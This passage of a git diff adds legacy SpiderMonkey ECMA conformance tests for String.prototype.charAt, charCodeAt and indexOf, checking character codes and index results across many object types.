+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(8)", "F", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(8)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(9)", "u", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(9)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(10)", "n", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(10)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(11)", "c", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(11)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(12)", "t", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(12)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(13)", "i", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(13)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(14)", "o", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(14)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(15)", "n", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(15)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(16)", "]", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(16)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(17)", "", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(17)") );
+
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.5-1.js b/js/src/tests/ecma/String/15.5.4.5-1.js
new file mode 100644
index 000000000..937f4be49
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.5-1.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.5.1.js
+ ECMA Section: 15.5.4.5 String.prototype.charCodeAt(pos)
+ Description: Returns a number (a nonnegative integer less than 2^16)
+ representing the Unicode encoding of the character at
+ position pos in this string. If there is no character
+ at that position, the number is NaN.
+
+ When the charCodeAt method is called with one argument
+ pos, the following steps are taken:
+ 1. Call ToString, giving it the theis value as its
+ argument
+ 2. Call ToInteger(pos)
+ 3. Compute the number of characters in result(1).
+ 4. If Result(2) is less than 0 or is not less than
+ Result(3), return NaN.
+ 5. Return a value of Number type, of positive sign, whose
+ magnitude is the Unicode encoding of one character
+ from result 1, namely the characer at position Result
+ (2), where the first character in Result(1) is
+ considered to be at position 0.
+
+ Note that the charCodeAt function is intentionally
+ generic; it does not require that its this value be a
+ String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.5-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.charCodeAt";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var TEST_STRING = new String( " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" );
+
+for ( j = 0, i = 0x0020; i < 0x007e; i++, j++ ) {
+ new TestCase( SECTION, "TEST_STRING.charCodeAt("+j+")", i, TEST_STRING.charCodeAt( j ) );
+}
+
+new TestCase( SECTION, 'TEST_STRING.charCodeAt('+i+')', NaN, TEST_STRING.charCodeAt( i ) );
+
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.5-2.js b/js/src/tests/ecma/String/15.5.4.5-2.js
new file mode 100644
index 000000000..75590c3df
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.5-2.js
@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.5.1.js
+ ECMA Section: 15.5.4.5 String.prototype.charCodeAt(pos)
+ Description: Returns a number (a nonnegative integer less than 2^16)
+ representing the Unicode encoding of the character at
+ position pos in this string. If there is no character
+ at that position, the number is NaN.
+
+ When the charCodeAt method is called with one argument
+ pos, the following steps are taken:
+ 1. Call ToString, giving it the theis value as its
+ argument
+ 2. Call ToInteger(pos)
+ 3. Compute the number of characters in result(1).
+ 4. If Result(2) is less than 0 or is not less than
+ Result(3), return NaN.
+ 5. Return a value of Number type, of positive sign, whose
+ magnitude is the Unicode encoding of one character
+ from result 1, namely the characer at position Result
+ (2), where the first character in Result(1) is
+ considered to be at position 0.
+
+ Note that the charCodeAt function is intentionally
+ generic; it does not require that its this value be a
+ String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.5-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.charCodeAt";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var TEST_STRING = new String( " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" );
+
+var x;
+
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(0)", 0x0074, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(0)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(1)", 0x0072, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(1)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(2)", 0x0075, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(2)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(3)", 0x0065, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(3)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(4)", Number.NaN, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(4)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(-1)", Number.NaN, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(-1)") );
+
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(true)", 0x0072, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(true)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(false)", 0x0074, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(false)") );
+
+new TestCase( SECTION, "x = new String(); x.charCodeAt(0)", Number.NaN, eval("x=new String();x.charCodeAt(0)") );
+new TestCase( SECTION, "x = new String(); x.charCodeAt(1)", Number.NaN, eval("x=new String();x.charCodeAt(1)") );
+new TestCase( SECTION, "x = new String(); x.charCodeAt(-1)", Number.NaN, eval("x=new String();x.charCodeAt(-1)") );
+
+new TestCase( SECTION, "x = new String(); x.charCodeAt(NaN)", Number.NaN, eval("x=new String();x.charCodeAt(Number.NaN)") );
+new TestCase( SECTION, "x = new String(); x.charCodeAt(Number.POSITIVE_INFINITY)", Number.NaN, eval("x=new String();x.charCodeAt(Number.POSITIVE_INFINITY)") );
+new TestCase( SECTION, "x = new String(); x.charCodeAt(Number.NEGATIVE_INFINITY)", Number.NaN, eval("x=new String();x.charCodeAt(Number.NEGATIVE_INFINITY)") );
+
+new TestCase( SECTION, "x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(0)", 0x0031, eval("x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(0)") );
+new TestCase( SECTION, "x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(1)", 0x002C, eval("x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(1)") );
+new TestCase( SECTION, "x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(2)", 0x0032, eval("x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(2)") );
+new TestCase( SECTION, "x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(3)", 0x002C, eval("x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(3)") );
+new TestCase( SECTION, "x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(4)", 0x0033, eval("x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(4)") );
+new TestCase( SECTION, "x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(5)", NaN, eval("x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(5)") );
+
+new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(0)", 0x005B, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(0)") );
+new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(1)", 0x006F, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(1)") );
+new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(2)", 0x0062, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(2)") );
+new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(3)", 0x006A, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(3)") );
+new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(4)", 0x0065, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(4)") );
+new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(5)", 0x0063, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(5)") );
+new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(6)", 0x0074, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(6)") );
+
+new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(7)", 0x0020, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(7)") );
+
+new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(8)", 0x004F, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(8)") );
+new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(9)", 0x0062, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(9)") );
+new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(10)", 0x006A, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(10)") );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.5-3.js b/js/src/tests/ecma/String/15.5.4.5-3.js
new file mode 100644
index 000000000..aa40c8b51
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.5-3.js
@@ -0,0 +1,97 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.5-3.js
+ ECMA Section: 15.5.4.5 String.prototype.charCodeAt(pos)
+ Description: Returns a number (a nonnegative integer less than 2^16)
+ representing the Unicode encoding of the character at
+ position pos in this string. If there is no character
+ at that position, the number is NaN.
+
+ When the charCodeAt method is called with one argument
+ pos, the following steps are taken:
+ 1. Call ToString, giving it the theis value as its
+ argument
+ 2. Call ToInteger(pos)
+ 3. Compute the number of characters in result(1).
+ 4. If Result(2) is less than 0 or is not less than
+ Result(3), return NaN.
+ 5. Return a value of Number type, of positive sign, whose
+ magnitude is the Unicode encoding of one character
+ from result 1, namely the characer at position Result
+ (2), where the first character in Result(1) is
+ considered to be at position 0.
+
+ Note that the charCodeAt function is intentionally
+ generic; it does not require that its this value be a
+ String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.5-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.charCodeAt";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var TEST_STRING = new String( " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" );
+
+
+var foo = new MyObject('hello');
+
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(0)", 0x0068, foo.charCodeAt(0) );
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(1)", 0x0065, foo.charCodeAt(1) );
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(2)", 0x006c, foo.charCodeAt(2) );
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(3)", 0x006c, foo.charCodeAt(3) );
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(4)", 0x006f, foo.charCodeAt(4) );
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(-1)", Number.NaN, foo.charCodeAt(-1) );
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(5)", Number.NaN, foo.charCodeAt(5) );
+
+var boo = new MyObject(true);
+
+new TestCase( SECTION, "var boo = new MyObject(true);boo.charCodeAt(0)", 0x0074, boo.charCodeAt(0) );
+new TestCase( SECTION, "var boo = new MyObject(true);boo.charCodeAt(1)", 0x0072, boo.charCodeAt(1) );
+new TestCase( SECTION, "var boo = new MyObject(true);boo.charCodeAt(2)", 0x0075, boo.charCodeAt(2) );
+new TestCase( SECTION, "var boo = new MyObject(true);boo.charCodeAt(3)", 0x0065, boo.charCodeAt(3) );
+
+var noo = new MyObject( Math.PI );
+
+new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(0)", 0x0033, noo.charCodeAt(0) );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(1)", 0x002E, noo.charCodeAt(1) );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(2)", 0x0031, noo.charCodeAt(2) );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(3)", 0x0034, noo.charCodeAt(3) );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(4)", 0x0031, noo.charCodeAt(4) );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(5)", 0x0035, noo.charCodeAt(5) );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(6)", 0x0039, noo.charCodeAt(6) );
+
+var noo = new MyObject( null );
+
+new TestCase( SECTION, "var noo = new MyObject(null);noo.charCodeAt(0)", 0x006E, noo.charCodeAt(0) );
+new TestCase( SECTION, "var noo = new MyObject(null);noo.charCodeAt(1)", 0x0075, noo.charCodeAt(1) );
+new TestCase( SECTION, "var noo = new MyObject(null);noo.charCodeAt(2)", 0x006C, noo.charCodeAt(2) );
+new TestCase( SECTION, "var noo = new MyObject(null);noo.charCodeAt(3)", 0x006C, noo.charCodeAt(3) );
+new TestCase( SECTION, "var noo = new MyObject(null);noo.charCodeAt(4)", NaN, noo.charCodeAt(4) );
+
+var noo = new MyObject( void 0 );
+
+new TestCase( SECTION, "var noo = new MyObject(void 0);noo.charCodeAt(0)", 0x0075, noo.charCodeAt(0) );
+new TestCase( SECTION, "var noo = new MyObject(void 0);noo.charCodeAt(1)", 0x006E, noo.charCodeAt(1) );
+new TestCase( SECTION, "var noo = new MyObject(void 0);noo.charCodeAt(2)", 0x0064, noo.charCodeAt(2) );
+new TestCase( SECTION, "var noo = new MyObject(void 0);noo.charCodeAt(3)", 0x0065, noo.charCodeAt(3) );
+new TestCase( SECTION, "var noo = new MyObject(void 0);noo.charCodeAt(4)", 0x0066, noo.charCodeAt(4) );
+
+test();
+
+
+function MyObject (v) {
+ this.value = v;
+ this.toString = new Function ( "return this.value +\"\"" );
+ this.charCodeAt = String.prototype.charCodeAt;
+}
diff --git a/js/src/tests/ecma/String/15.5.4.5-4.js b/js/src/tests/ecma/String/15.5.4.5-4.js
new file mode 100644
index 000000000..bf6bb0521
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.5-4.js
@@ -0,0 +1,41 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.5-4.js
+ ECMA Section: 15.5.4.5 String.prototype.charCodeAt(pos)
+
+ Description: Returns a nonnegative integer less than 2^16.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var VERSION = "0697";
+startTest();
+var SECTION = "15.5.4.5-4";
+
+writeHeaderToLog( SECTION + " String.prototype.charCodeAt(pos)" );
+
+var MAXCHARCODE = Math.pow(2,16);
+var item=0, CHARCODE;
+
+for ( CHARCODE=0; CHARCODE <256; CHARCODE++ ) {
+ new TestCase( SECTION,
+ "(String.fromCharCode("+CHARCODE+")).charCodeAt(0)",
+ CHARCODE,
+ (String.fromCharCode(CHARCODE)).charCodeAt(0) );
+}
+for ( CHARCODE=256; CHARCODE < 65536; CHARCODE+=999 ) {
+ new TestCase( SECTION,
+ "(String.fromCharCode("+CHARCODE+")).charCodeAt(0)",
+ CHARCODE,
+ (String.fromCharCode(CHARCODE)).charCodeAt(0) );
+}
+
+new TestCase( SECTION, "(String.fromCharCode(65535)).charCodeAt(0)", 65535, (String.fromCharCode(65535)).charCodeAt(0) );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.5-5.js b/js/src/tests/ecma/String/15.5.4.5-5.js
new file mode 100644
index 000000000..74ec5c7e5
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.5-5.js
@@ -0,0 +1,72 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.5.1.js
+ ECMA Section: 15.5.4.5 String.prototype.charCodeAt(pos)
+ Description: Returns a number (a nonnegative integer less than 2^16)
+ representing the Unicode encoding of the character at
+ position pos in this string. If there is no character
+ at that position, the number is NaN.
+
+ When the charCodeAt method is called with one argument
+ pos, the following steps are taken:
+ 1. Call ToString, giving it the theis value as its
+ argument
+ 2. Call ToInteger(pos)
+ 3. Compute the number of characters in result(1).
+ 4. If Result(2) is less than 0 or is not less than
+ Result(3), return NaN.
+ 5. Return a value of Number type, of positive sign, whose
+ magnitude is the Unicode encoding of one character
+ from result 1, namely the characer at position Result
+ (2), where the first character in Result(1) is
+ considered to be at position 0.
+
+ Note that the charCodeAt function is intentionally
+ generic; it does not require that its this value be a
+ String object. Therefore it can be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.5-5";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.charCodeAt";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var TEST_STRING = "";
+
+for ( var i = 0x0000; i < 255; i++ ) {
+ TEST_STRING += String.fromCharCode( i );
+}
+
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(0)", 0x0074, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(0)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(1)", 0x0072, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(1)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(2)", 0x0075, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(2)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(3)", 0x0065, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(3)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(4)", Number.NaN, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(4)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(-1)", Number.NaN, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(-1)") );
+
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(true)", 0x0072, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(true)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(false)", 0x0074, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(false)") );
+
+new TestCase( SECTION, "x = new String(); x.charCodeAt(0)", Number.NaN, eval("x=new String();x.charCodeAt(0)") );
+new TestCase( SECTION, "x = new String(); x.charCodeAt(1)", Number.NaN, eval("x=new String();x.charCodeAt(1)") );
+new TestCase( SECTION, "x = new String(); x.charCodeAt(-1)", Number.NaN, eval("x=new String();x.charCodeAt(-1)") );
+
+new TestCase( SECTION, "x = new String(); x.charCodeAt(NaN)", Number.NaN, eval("x=new String();x.charCodeAt(Number.NaN)") );
+new TestCase( SECTION, "x = new String(); x.charCodeAt(Number.POSITIVE_INFINITY)", Number.NaN, eval("x=new String();x.charCodeAt(Number.POSITIVE_INFINITY)") );
+new TestCase( SECTION, "x = new String(); x.charCodeAt(Number.NEGATIVE_INFINITY)", Number.NaN, eval("x=new String();x.charCodeAt(Number.NEGATIVE_INFINITY)") );
+
+for ( var j = 0; j < 255; j++ ) {
+ new TestCase( SECTION, "TEST_STRING.charCodeAt("+j+")", j, TEST_STRING.charCodeAt(j) );
+}
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.6-1.js b/js/src/tests/ecma/String/15.5.4.6-1.js
new file mode 100644
index 000000000..2e616df4a
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.6-1.js
@@ -0,0 +1,121 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.6-1.js
+ ECMA Section: 15.5.4.6 String.prototype.indexOf( searchString, pos)
+ Description: If the given searchString appears as a substring of the
+ result of converting this object to a string, at one or
+ more positions that are at or to the right of the
+ specified position, then the index of the leftmost such
+ position is returned; otherwise -1 is returned. If
+ positionis undefined or not supplied, 0 is assumed, so
+ as to search all of the string.
+
+ When the indexOf method is called with two arguments,
+ searchString and pos, the following steps are taken:
+
+ 1. Call ToString, giving it the this value as its
+ argument.
+ 2. Call ToString(searchString).
+ 3. Call ToInteger(position). (If position is undefined
+ or not supplied, this step produces the value 0).
+ 4. Compute the number of characters in Result(1).
+ 5. Compute min(max(Result(3), 0), Result(4)).
+ 6. Compute the number of characters in the string that
+ is Result(2).
+ 7. Compute the smallest possible integer k not smaller
+ than Result(5) such that k+Result(6) is not greater
+ than Result(4), and for all nonnegative integers j
+ less than Result(6), the character at position k+j
+ of Result(1) is the same as the character at position
+ j of Result(2); but if there is no such integer k,
+ then compute the value -1.
+ 8. Return Result(7).
+
+ Note that the indexOf function is intentionally generic;
+ it does not require that its this value be a String object.
+ Therefore it can be transferred to other kinds of objects
+ for use as a method.
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.6-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.protoype.indexOf";
+
+var TEST_STRING = new String( " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" );
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var j = 0;
+
+for ( k = 0, i = 0x0020; i < 0x007e; i++, j++, k++ ) {
+ new TestCase( SECTION,
+ "String.indexOf(" +String.fromCharCode(i)+ ", 0)",
+ k,
+ TEST_STRING.indexOf( String.fromCharCode(i), 0 ) );
+}
+
+for ( k = 0, i = 0x0020; i < 0x007e; i++, j++, k++ ) {
+ new TestCase( SECTION,
+ "String.indexOf("+String.fromCharCode(i)+ ", "+ k +")",
+ k,
+ TEST_STRING.indexOf( String.fromCharCode(i), k ) );
+}
+
+for ( k = 0, i = 0x0020; i < 0x007e; i++, j++, k++ ) {
+ new TestCase( SECTION,
+ "String.indexOf("+String.fromCharCode(i)+ ", "+k+1+")",
+ -1,
+ TEST_STRING.indexOf( String.fromCharCode(i), k+1 ) );
+}
+
+for ( k = 0, i = 0x0020; i < 0x007d; i++, j++, k++ ) {
+ new TestCase( SECTION,
+ "String.indexOf("+(String.fromCharCode(i) +
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)) +", "+0+")",
+ k,
+ TEST_STRING.indexOf( (String.fromCharCode(i)+
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)),
+ 0 ) );
+}
+
+for ( k = 0, i = 0x0020; i < 0x007d; i++, j++, k++ ) {
+ new TestCase( SECTION,
+ "String.indexOf("+(String.fromCharCode(i) +
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)) +", "+ k +")",
+ k,
+ TEST_STRING.indexOf( (String.fromCharCode(i)+
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)),
+ k ) );
+}
+for ( k = 0, i = 0x0020; i < 0x007d; i++, j++, k++ ) {
+ new TestCase( SECTION,
+ "String.indexOf("+(String.fromCharCode(i) +
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)) +", "+ k+1 +")",
+ -1,
+ TEST_STRING.indexOf( (String.fromCharCode(i)+
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)),
+ k+1 ) );
+}
+
+new TestCase( SECTION, "String.indexOf(" +TEST_STRING + ", 0 )", 0, TEST_STRING.indexOf( TEST_STRING, 0 ) );
+
+new TestCase( SECTION, "String.indexOf(" +TEST_STRING + ", 1 )", -1, TEST_STRING.indexOf( TEST_STRING, 1 ));
+
+print( "TEST_STRING = new String(\" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\")" );
+
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.6-2.js b/js/src/tests/ecma/String/15.5.4.6-2.js
new file mode 100644
index 000000000..ee78b2b39
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.6-2.js
@@ -0,0 +1,218 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
